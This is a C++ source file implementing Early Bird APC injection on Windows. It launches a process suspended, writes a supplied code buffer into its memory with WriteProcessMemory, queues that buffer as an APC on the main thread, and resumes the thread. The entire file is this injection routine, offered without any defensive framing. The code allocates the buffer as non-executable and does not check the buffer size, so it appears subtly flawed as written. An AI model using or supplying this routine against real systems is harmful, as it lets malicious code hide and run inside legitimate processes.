#include "EarlyBird.h"

BOOL EarlyBird(PCWCH lpProcessPath, PVOID lpCode, SIZE_T stCodeLen)
{
    STARTUPINFO si = { 0 };
    si.cb = sizeof(STARTUPINFO);
    PROCESS_INFORMATION pi = { 0 };
    BOOL bRet = FALSE;
    PVOID lpCodeAddress = nullptr;
    SIZE_T stBytesReturn;

    do
    {
        bRet = CreateProcess(lpProcessPath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
        if (!bRet) break;

        lpCodeAddress = VirtualAllocEx(pi.hProcess, NULL, PAGE_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if (!lpCodeAddress) break;

        bRet = WriteProcessMemory(pi.hProcess, lpCodeAddress, lpCode, stCodeLen, &stBytesReturn);
        if (!bRet) break;

        bRet = QueueUserAPC((PAPCFUNC)lpCodeAddress, pi.hThread, 0);
        if (!bRet) break;

        ResumeThread(pi.hThread);

        bRet = TRUE;

    } while (FALSE);

    if (!bRet && lpCodeAddress)
        VirtualFreeEx(pi.hProcess, lpCodeAddress, 0, MEM_RELEASE);

    return bRet;
}
